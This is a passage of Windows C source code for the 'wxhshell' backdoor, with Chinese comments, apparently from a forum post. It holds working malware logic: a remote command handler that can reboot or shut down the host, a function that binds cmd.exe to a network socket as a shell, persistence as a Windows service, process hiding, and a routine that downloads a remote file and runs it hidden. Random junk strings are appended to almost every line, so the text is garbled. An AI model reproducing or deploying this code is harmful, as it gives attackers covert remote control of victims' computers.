  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JLJ;TM'4=  
  } V/;B3t~f  
  else { 9$m|'$p3sG  
g>9kXP+  
    switch(cmd[0]) { (3&?wy_l  
  B~du-Z22IZ  
  // 帮助 t.'!`5G  
  case '?': { ?NP1y9Y]i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^ K E%C;u  
    break; u?{H}V  
  } 0P(!j_2m  
  // 安装 { buy"X4  
  case 'i': { (Clkv  
    if(Install()) e NafpK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'r[te4,  
    else 3<zp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XF_pN[}  
    break; >6pf$0  
    } [ps*uva  
  // 卸载 O<;3M'y\  
  case 'r': { =iD 3Yt  
    if(Uninstall()) CWP2{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7( 2{'r  
    else Ji 0 tQV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E`k@{*Hn&  
    break; 0k(a VkZ I  
    } A$xF$l  
  // 显示 wxhshell 所在路径 '!a'ZjYyi  
  case 'p': { RlDn0s  
    char svExeFile[MAX_PATH]; k,F6Tx  
    strcpy(svExeFile,"\n\r"); KFkoS0M5|  
      strcat(svExeFile,ExeFile); 9,'ncw$/C  
        send(wsh,svExeFile,strlen(svExeFile),0); x7x\Y(@  
    break; Mzw X>3x  
    } v2;`f+  
  // 重启 5j-YM  
  case 'b': { -{vKus  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1q1jZqno  
    if(Boot(REBOOT)) S +^E.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VD]zz ^  
    else { yD6[\'%  
    closesocket(wsh); L4|`;WP  
    ExitThread(0); c#tjp(-  
    } Ziu]'#  
    break; Y<ql49-X  
    }  A4<Uu~  
  // 关机 R= o2K  
  case 'd': { x6ARzH\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Nj7qt  
    if(Boot(SHUTDOWN)) P0PWJ^+,+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \1 &,|\E#  
    else { _v=SH$O+  
    closesocket(wsh); LRG6:&  
    ExitThread(0); s)Cjc.Qs  
    } -FQ 'agf@&  
    break; zXxT%ZcCj  
    } V2|aN<Sx<  
  // 获取shell f|lU6EkU  
  case 's': { W= qVc  
    CmdShell(wsh); ^ tg<K  
    closesocket(wsh); KOuCHqCfq  
    ExitThread(0); o;R2p $  
    break; .:QLk&a,:,  
  } hP)LY=- 2  
  // 退出 6U,O*WJ%e  
  case 'x': { hUMf"=q+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g:dH~>  
    CloseIt(wsh); 7.#F,Ue_0T  
    break; ~C`^6UQr/?  
    } os={PQRD  
  // 离开 )MchsuF<  
  case 'q': { {I#]@,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~`\?"s:  
    closesocket(wsh); B1C-J/J  
    WSACleanup(); @A89eZbW  
    exit(1); {U m)15K  
    break; tL)t"  i  
        } O-I[igNl  
  } v,{yU\)  
  } ft KTnK.  
/qGf 1MHD  
  // 提示信息 g8xQ|px  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W=vP]x >J  
} +M$Q =6/  
  } 8a'.ZdqC?  
8'nVwb8I  
  return; Y>G@0r BG  
} P5nO78  
_p&]|~a  
// shell模块句柄 1Y@Aixx  
int CmdShell(SOCKET sock) iS Gq!D  
{ uPG4V2  
STARTUPINFO si; Yc `)R  
ZeroMemory(&si,sizeof(si)); 4.=3M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E}p&2P+MR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hx*;jpy(2  
PROCESS_INFORMATION ProcessInfo; F,MO@&ue"  
char cmdline[]="cmd"; ()+ <)hg}2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WDPb!-VT  
  return 0; <|+Ex  
} TDNQu_E  
(Cd\G=PK  
// 自身启动模式 An"</;HU  
int StartFromService(void) 4K\(xd&Q  
{ FCuB\ Q  
typedef struct r{ef.^&:  
{ )3w@]5j  
  DWORD ExitStatus; 6qaQ[XTxf  
  DWORD PebBaseAddress; $lIz{ySJv  
  DWORD AffinityMask; 7cO n9fIE  
  DWORD BasePriority; V=V:SlS9|  
  ULONG UniqueProcessId; PGBQn#c<  
  ULONG InheritedFromUniqueProcessId; ^!z [t\$  
}   PROCESS_BASIC_INFORMATION; y_IM@)1H~  
hn=[1<#^(  
PROCNTQSIP NtQueryInformationProcess; ?zVL;gVWA  
xAe~]k_D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .!,z:l$Kh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Upd3-2kr&J  
\lC   
  HANDLE             hProcess; yA(K=?sq  
  PROCESS_BASIC_INFORMATION pbi; *2Ht &  
BT"42#7_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )ZqJh  
  if(NULL == hInst ) return 0; +0q>fp_K(+  
$8[r9L!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pg%aI,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +H #U~p$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ux3<l+jv^  
#x3ujJ  
  if (!NtQueryInformationProcess) return 0; fUQ6Z,9  
$K'|0   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WT`4s  
  if(!hProcess) return 0; .?e\I`Kk^'  
xz{IH,?IG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Za8#$`zq  
H;fxxu`cS  
  CloseHandle(hProcess); $g+[yb7@  
q)vplV1A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IGFR4+  
if(hProcess==NULL) return 0; )V:]g\t  
'ao"9-c  
HMODULE hMod; z,bQQ;z9  
char procName[255]; Eb>78k(3I)  
unsigned long cbNeeded; m[@Vf9  
fpN- o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aKJQm '9Ks  
!o+_T?  
  CloseHandle(hProcess); zyg  }F  
n` TSu$  
if(strstr(procName,"services")) return 1; // 以服务启动 UNi`P9D]3  
JA_BKA  
  return 0; // 注册表启动 -yg?V2  
} ^ Dt#$Z  
;6{@^  
// 主模块 JS>Gd/Jd  
int StartWxhshell(LPSTR lpCmdLine) xvSuPP4 m  
{ lP!;3iJ B  
  SOCKET wsl; u@%r  
BOOL val=TRUE; P7f,OY<@%o  
  int port=0; D.6,VY H  
  struct sockaddr_in door; T,OwM\`.X{  
_ _>.,gL7  
  if(wscfg.ws_autoins) Install(); W|,V50K  
V$rlA' +1v  
port=atoi(lpCmdLine); .*JA!B  
u}|%@=xn  
if(port<=0) port=wscfg.ws_port; k') E/n  
A?T<",bO  
  WSADATA data; }AvcoD/b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =FT98H2*|  
(x$9~;<S*d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KB!|B.ChN(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !;!~n`  
  door.sin_family = AF_INET; FHPXu59u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UYtuED  
  door.sin_port = htons(port); *VkgQ`c  
q(5+xSg"gK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \OpoBXh  
closesocket(wsl); F("#^$  
return 1; ez9k4IO  
} )*d W=r/$V  
m3g2b _;  
  if(listen(wsl,2) == INVALID_SOCKET) { :p4"IeKs  
closesocket(wsl); <p?&udqD  
return 1; ;!T{%-tP  
} cubk]~VD  
  Wxhshell(wsl); <d7V<&@o=  
  WSACleanup(); Z_1*YRBY;  
Ij'NC C  
return 0; -n? g~(/P  
S? 0)1O  
} jUqy8q&  
l~Lb!;,dN  
// 以NT服务方式启动 4E:bp   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^SfS~G Q  
{ FCc=e{  
DWORD   status = 0; >uI$^y1D  
  DWORD   specificError = 0xfffffff; mty1p'^KQ  
,A5)<}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )Os Lrq/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y#01o&f0n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,`8Y8  
  serviceStatus.dwWin32ExitCode     = 0; WnAd5#G  
  serviceStatus.dwServiceSpecificExitCode = 0; "MiD8wX-  
  serviceStatus.dwCheckPoint       = 0; h.whjiCFa  
  serviceStatus.dwWaitHint       = 0; )J3kxmlzQ  
>LF&EM]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g9my=gY  
  if (hServiceStatusHandle==0) return; y$tX-9U  
`$z)$VuP  
status = GetLastError(); ,c)g,J9  
  if (status!=NO_ERROR) XvSIWs  
{  9|S`ub'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RwTzz] M  
    serviceStatus.dwCheckPoint       = 0; g3?U#7i  
    serviceStatus.dwWaitHint       = 0; J%dJw}  
    serviceStatus.dwWin32ExitCode     = status; 3LlU]  
    serviceStatus.dwServiceSpecificExitCode = specificError; |&hU=J o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!MwBYk  
    return; y?N Nz0  
  } +EASAq  
%TK&)Q% h5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wy4q[$.4v  
  serviceStatus.dwCheckPoint       = 0; e4qj .b  
  serviceStatus.dwWaitHint       = 0; IvW@o1Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iY.eJlfH  
} F1A1@{8bN  
wTpD1"_R  
// 处理NT服务事件,比如:启动、停止 S>ugRasZ$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *PM}"s  
{ ~/`X*n&  
switch(fdwControl) Qm);6X   
{ c#q"\"  
case SERVICE_CONTROL_STOP: A'"-m)1P  
  serviceStatus.dwWin32ExitCode = 0; !z=pP$81  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }#b %"I0  
  serviceStatus.dwCheckPoint   = 0; MtG_9-  
  serviceStatus.dwWaitHint     = 0; K ~>jApZ%  
  { xtJAMo>g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t>U!Zal"  
  } \X@IkL$r  
  return; ?*K<*wBw#  
case SERVICE_CONTROL_PAUSE: .k]#XoE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 10:%WGc  
  break; m,NMTyJoz  
case SERVICE_CONTROL_CONTINUE: <-|SIF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A! ;meVUs  
  break; 2xmT#m  
case SERVICE_CONTROL_INTERROGATE: DM2Q1Dh3  
  break; D_aR\  
}; YY!!<2_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HIPL!ss]  
}  6`"ZsO  
MxN]7  
// 标准应用程序主函数 Cj$H[K}>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p}8ratmN  
{ lS3 _Ild  
3o7xN=N  
// 获取操作系统版本 fm6]CU1^  
OsIsNt=GetOsVer(); Xa Gz].Sv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ' C6:e?R  
T{~MiC6A  
  // 从命令行安装 0|Q.U  
  if(strpbrk(lpCmdLine,"iI")) Install(); jf7pl8gv  
F`D 9Zfd  
  // 下载执行文件 X)NWX9^;'  
if(wscfg.ws_downexe) { au A.6DQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `]LODgk~  
  WinExec(wscfg.ws_filenam,SW_HIDE); ct.Bg)E  
} &U0WkW   
Dtt\~m;AR  
if(!OsIsNt) { />!!ch  
// 如果时win9x,隐藏进程并且设置为注册表启动 'Ix5,^M}B  
HideProc(); d5q4'6o,  
StartWxhshell(lpCmdLine); 9T]va]w?#  
} sx90lsu  
else ;<VR2U`  
  if(StartFromService()) 5EfY9}dl  
  // 以服务方式启动 t*rp3BIG  
  StartServiceCtrlDispatcher(DispatchTable); g` kZ T} h  
else @6[x%j/!bt  
  // 普通方式启动 %8g$T6E[<2  
  StartWxhshell(lpCmdLine); 2:n|x5\H  
3v G  
return 0; !~tnt i6  
}
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只看该作者 1 发表于: 2006-10-10
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